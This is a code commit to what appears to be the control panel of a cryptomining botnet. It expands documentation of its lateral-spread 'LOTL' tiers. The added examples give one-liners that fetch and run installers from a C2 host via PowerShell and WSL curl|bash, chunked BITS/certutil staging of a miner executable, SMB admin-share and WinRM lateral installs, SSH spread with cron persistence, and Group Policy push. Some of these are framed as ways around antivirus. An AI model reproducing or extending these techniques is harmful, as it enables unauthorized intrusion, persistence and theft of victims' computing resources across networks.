Expand LOTL vector glossary, examples, and mermaid architecture docs

server/web/public/docs/SPREAD_TECHNIQUES.html

@@ -386,18 +386,58 @@ irm https://your.site/install.ps1?pin={build_id}&amp;c=docs | iex</code></pre>
             <code>server.lotl_onion_tiers</code> in Calibrate on WebSocket auth — no re-forge to reorder.
           </p>
           <table class="wiki-table">
-            <thead><tr><th>Tier</th><th>One-line</th></tr></thead>
+            <thead><tr><th>Tier</th><th>Definition</th><th>Example</th></tr></thead>
             <tbody>
-              <tr id="lotl-tier-vuln_recon"><td><strong>vuln recon</strong></td><td>Read-only KEV/CVE/service probe — report-only, no exploit</td></tr>
-              <tr id="lotl-tier-docker"><td><strong>docker</strong></td><td>Container worker image — isolated RandomX, no host miner exe drop</td></tr>
-              <tr id="lotl-tier-wsl"><td><strong>wsl</strong></td><td>WSL curl|bash one-liner when native Windows path is blocked</td></tr>
-              <tr id="lotl-tier-powershell"><td><strong>powershell</strong></td><td>PS remoting / hidden install.ps1 from your C2 origin</td></tr>
-              <tr id="lotl-tier-dotnet"><td><strong>dotnet</strong></td><td>dotnet tool-run bootstrap — no standalone payload exe</td></tr>
-              <tr id="lotl-tier-bits_curl"><td><strong>bits/curl</strong></td><td>BITS transfer or curl|bash to <code>/install.ps1</code> — fileless fetch</td></tr>
-              <tr id="lotl-tier-smb"><td><strong>smb</strong></td><td>admin$ / C$ copy + SCM — classic lateral on open 445</td></tr>
-              <tr id="lotl-tier-winrm"><td><strong>winrm</strong></td><td>Opportunistic PS remoting when 5985/5986 responds</td></tr>
-              <tr id="lotl-tier-linux"><td><strong>linux</strong></td><td>SSH lateral on Unix agents — same wallet, no extra drop</td></tr>
-              <tr id="lotl-tier-gpo"><td><strong>gpo</strong></td><td>Domain startup/logon script push — operator-owned AD only</td></tr>
+              <tr id="lotl-tier-vuln_recon">
+                <td><strong>vuln_recon</strong></td>
+                <td>Read-only KEV/CVE/service probe before spread — report-only, no exploit. Feeds <code>vuln_findings</code> and <code>patch_first</code> gates.</td>
+                <td>Automatic triple-onion recon tier, or Crucible <code>full_sys_check</code> → risk badge on next <code>stats_batch</code>.</td>
+              </tr>
+              <tr id="lotl-tier-docker">
+                <td><strong>docker</strong></td>
+                <td>Deploy or mine inside Docker/Podman — isolated RandomX, no host miner exe drop.</td>
+                <td>Service allowlist maps <code>com.docker.service</code> → <code>docker_load</code>; Probe &amp; Join when Docker is running.</td>
+              </tr>
+              <tr id="lotl-tier-wsl">
+                <td><strong>wsl</strong></td>
+                <td>WSL curl|bash one-liner when native Windows execution is blocked.</td>
+                <td><code>wsl -e bash -c "curl -sL https://deck.example/install.sh?pin=BUILD_ID | bash"</code></td>
+              </tr>
+              <tr id="lotl-tier-powershell">
+                <td><strong>powershell</strong></td>
+                <td>Hidden PS bootstrap or remoting from your C2 origin — no standalone payload exe.</td>
+                <td><code>irm https://deck.example/install.ps1?pin=BUILD_ID&amp;c=lab | iex</code> — WinRM template export.</td>
+              </tr>
+              <tr id="lotl-tier-dotnet">
+                <td><strong>dotnet</strong></td>
+                <td><code>dotnet tool run</code> bootstrap — avoids a lone unsigned miner exe on disk.</td>
+                <td>Forge <code>miner_execution=dotnet</code>; spread lane runs dotnet bootstrap from install manifest.</td>
+              </tr>
+              <tr id="lotl-tier-bits_curl">
+                <td><strong>bits_curl</strong></td>
+                <td>BITS (<code>bitsadmin</code>) or <code>curl.exe</code> staging — optional <code>certutil -decode</code>, SHA256 verify, launch.</td>
+                <td>Crucible <code>stage_fetch</code>: <code>{"method":"curl","chunks":[{"url":"https://deck/chunk1.b64","file":"c1.b64"}],"sha256":"…","dest":"%TEMP%\\worker.exe","launch":"exe"}</code></td>
+              </tr>
+              <tr id="lotl-tier-smb">
+                <td><strong>smb</strong> (<code>spread_smb_unc</code>)</td>
+                <td>admin$ / C$ lateral via <code>sc.exe</code> + <code>net.exe</code> on open port 445 — no PsExec.</td>
+                <td><code>{"action":"spread_smb_unc","path":"\\\\forge-host\\pathforge$\\worker.exe"}</code></td>
+              </tr>
+              <tr id="lotl-tier-winrm">
+                <td><strong>winrm</strong></td>
+                <td>Opportunistic PS remoting when 5985/5986 responds on subnet peers.</td>
+                <td><code>POST /api/v1/builder/spread-template-export</code> <code>{"template":"winrm","com_hijack":false}</code></td>
+              </tr>
+              <tr id="lotl-tier-linux">
+                <td><strong>linux</strong> (<code>linux_lotl</code>)</td>
+                <td>SSH/SCP lateral on Unix agents — same wallet; optional systemd-run or crontab persistence.</td>
+                <td><code>{"template":"linux-lotl","lotl_mode":"both"}</code> — <code>lotl-bootstrap.sh</code> + <code>autospread_unix.go</code>.</td>
+              </tr>
+              <tr id="lotl-tier-gpo">
+                <td><strong>gpo</strong></td>
+                <td>AD Group Policy startup script pulls worker on boot — mining policy stays on command deck.</td>
+                <td>Export <code>{"template":"gpo"}</code> → Computer Configuration → Scripts → Startup → <code>gpo-startup.ps1</code>. Intune: <code>{"template":"intune"}</code>.</td>
+              </tr>
             </tbody>
           </table>
           <h4>Forge steps</h4>

server/web/src/help/lotlOnionTiers.test.ts

@@ -8,8 +8,8 @@ describe('lotlOnionTiers', () => {
     expect(DEFAULT_LOTL_ONION_TIERS[9]).toBe('gpo');
   });
 
-  it('documents each tier with a one-line hint', () => {
+  it('documents each tier with hint, definition, and example', () => {
     expect(LOTL_ONION_TIER_DOCS).toHaveLength(10);
-    expect(LOTL_ONION_TIER_DOCS.every((t) => t.label && t.hint)).toBe(true);
+    expect(LOTL_ONION_TIER_DOCS.every((t) => t.label && t.hint && t.definition && t.example)).toBe(true);
   });
 });

server/web/src/help/lotlOnionTiers.ts

@@ -20,19 +20,103 @@ export interface LotlOnionTierDoc {
   label: string;
   /** One-line operator hint for playbook tabs */
   hint: string;
+  /** Plain-language definition for glossary and Forge docs */
+  definition: string;
+  /** Copy-pasteable CLI, Crucible command, or Forge preset example */
+  example: string;
 }
 
 export const LOTL_ONION_TIER_DOCS: LotlOnionTierDoc[] = [
-  { id: 'vuln_recon', label: 'Vuln Recon', hint: 'Read-only KEV/CVE/service probe — report-only, no exploit' },
-  { id: 'docker', label: 'Docker', hint: 'Container worker image — isolated RandomX, no host miner exe drop' },
-  { id: 'wsl', label: 'WSL', hint: 'WSL curl|bash one-liner when native Windows path is blocked' },
-  { id: 'powershell', label: 'PowerShell', hint: 'PS remoting / hidden install.ps1 from your C2 origin' },
-  { id: 'dotnet', label: 'dotnet', hint: 'dotnet tool-run bootstrap — no standalone payload exe' },
-  { id: 'bits_curl', label: 'bits/curl', hint: 'BITS transfer or curl|bash to /install.ps1 — fileless fetch' },
-  { id: 'smb', label: 'SMB', hint: 'admin$ / C$ copy + SCM — classic lateral on open 445' },
-  { id: 'winrm', label: 'WinRM', hint: 'Opportunistic PS remoting when 5985/5986 responds' },
-  { id: 'linux', label: 'Linux', hint: 'SSH lateral on Unix agents — same wallet, no extra drop' },
-  { id: 'gpo', label: 'GPO', hint: 'Domain startup/logon script push — operator-owned AD only' },
+  {
+    id: 'vuln_recon',
+    label: 'Vuln Recon',
+    hint: 'Read-only KEV/CVE/service probe — report-only, no exploit',
+    definition:
+      'Runs a read-only vulnerability and posture scan on the host before any spread or mining. Findings feed risk badges and triple-onion gates; no exploit payloads are sent.',
+    example:
+      'Triple-onion recon tier (automatic on connect) or Crucible: `POST /api/v1/agents/{id}/command` `{"action":"full_sys_check"}` — `vuln_findings` appear in WS `stats_batch`.',
+  },
+  {
+    id: 'docker',
+    label: 'Docker',
+    hint: 'Container worker image — isolated RandomX, no host miner exe drop',
+    definition:
+      'Deploys or mines inside an OCI container (Docker/Podman) so RandomX runs isolated from the host filesystem — useful when AV blocks dropped exes.',
+    example:
+      'Forge LOTL Onion preset (`lotl_onion_enabled`) + Calibrate `service_deploy_allowlist` maps `com.docker.service` → `docker_load`. Probe & Join picks lane when Docker service is running.',
+  },
+  {
+    id: 'wsl',
+    label: 'WSL',
+    hint: 'WSL curl|bash one-liner when native Windows path is blocked',
+    definition:
+      'Uses Windows Subsystem for Linux to fetch and run the Linux worker via curl|bash when native Windows execution is blocked or unavailable.',
+    example:
+      'Autospread WSL path: `wsl -e bash -c "curl -sL https://deck.example/install.sh?pin=BUILD_ID | bash"` (baked when WSL is detected).',
+  },
+  {
+    id: 'powershell',
+    label: 'PowerShell',
+    hint: 'PS remoting / hidden install.ps1 from your C2 origin',
+    definition:
+      'Stages the worker with PowerShell — hidden window, encoded bootstrap, or PS remoting — without dropping a standalone miner exe on disk first.',
+    example:
+      'WinRM template one-liner: `irm https://deck.example/install.ps1?pin=BUILD_ID&c=lab | iex` — export via `POST /api/v1/builder/spread-template-export` `{"template":"winrm"}`.',
+  },
+  {
+    id: 'dotnet',
+    label: 'dotnet',
+    hint: 'dotnet tool-run bootstrap — no standalone payload exe',
+    definition:
+      'Bootstraps the worker through the .NET CLI (`dotnet tool run` or bundled SDK) so the payload never appears as a lone unsigned exe.',
+    example:
+      'Mining execution tier `dotnet` in fallback chain when `miner_execution=dotnet` at forge; spread lane runs `dotnet` bootstrap from C2 `install.ps1` manifest.',
+  },
+  {
+    id: 'bits_curl',
+    label: 'bits/curl',
+    hint: 'BITS transfer or curl|bash to /install.ps1 — fileless fetch',
+    definition:
+      'Downloads staged chunks with BITS (`bitsadmin`) or `curl.exe`, optionally decodes via `certutil`, verifies SHA256, then launches — classic fileless staging.',
+    example:
+      'Crucible `stage_fetch` manifest: `{"action":"stage_fetch","data":"{\"method\":\"curl\",\"chunks\":[{\"url\":\"https://deck/chunk1.b64\",\"file\":\"c1.b64\"}],\"sha256\":\"abc…\",\"dest\":\"%TEMP%\\\\worker.exe\",\"launch\":\"exe\"}"}`.',
+  },
+  {
+    id: 'smb',
+    label: 'SMB',
+    hint: 'admin$ / C$ copy + SCM — classic lateral on open 445',
+    definition:
+      'Laterally installs via SMB admin shares (admin$, C$) and Service Control Manager — no PsExec; uses `sc.exe` and `net.exe` LOLBins on open port 445.',
+    example:
+      'Crucible: `{"action":"spread_smb_unc","path":"\\\\\\\\forge-host\\\\pathforge$\\\\worker.exe"}` — or Path Tracer `POST /api/v1/pathtrace/spread` with `unc_path`.',
+  },
+  {
+    id: 'winrm',
+    label: 'WinRM',
+    hint: 'Opportunistic PS remoting when 5985/5986 responds',
+    definition:
+      'Uses Windows Remote Management (ports 5985/5986) to run encoded install bootstrap on subnet peers when remoting is enabled.',
+    example:
+      'Autospread when `winrm_spread` forge flag set; manual: `winrs -r:TARGET hostname` then encoded bootstrap. Template export: `{"template":"winrm","com_hijack":false}`.',
+  },
+  {
+    id: 'linux',
+    label: 'Linux',
+    hint: 'SSH lateral on Unix agents — same wallet, no extra drop',
+    definition:
+      'SSH/SCP lateral spread on Linux/macOS agents using passwordless keys — same XMR wallet, optional systemd-run or crontab LOTL persistence.',
+    example:
+      '`autospread_unix.go` lateral: `scp worker user@10.0.0.5:/tmp/ && ssh user@10.0.0.5 ./worker --spread-install --defer-mining`. Export: `{"template":"linux-lotl","lotl_mode":"both"}`.',
+  },
+  {
+    id: 'gpo',
+    label: 'GPO',
+    hint: 'Domain startup/logon script push — operator-owned AD only',
+    definition:
+      'Group Policy startup script pulls the worker from your command deck on domain boot — mining policy stays server-side, not in the GPO blob.',
+    example:
+      'Export `{"template":"gpo"}` → deploy `gpo-startup.ps1` under Computer Configuration → Scripts → Startup. Intune sibling: `{"template":"intune"}`.',
+  },
 ];
 
 export function lotlTierDocUrl(tier: LotlOnionTierId): string {

server/web/src/pages/BuilderPage.tsx

@@ -1381,7 +1381,9 @@ export default function BuilderPage() {
                   <ul className="form-hint" style={{ margin: '0.35rem 0 0', paddingLeft: '1.2rem' }}>
                     {LOTL_ONION_TIER_DOCS.map((t) => (
                       <li key={t.id}>
-                        {t.label} — {t.hint}
+                        <strong>{t.label}</strong> — {t.definition}
+                        <br />
+                        <span className="form-hint">e.g. {t.example}</span>
                       </li>
                     ))}
                   </ul>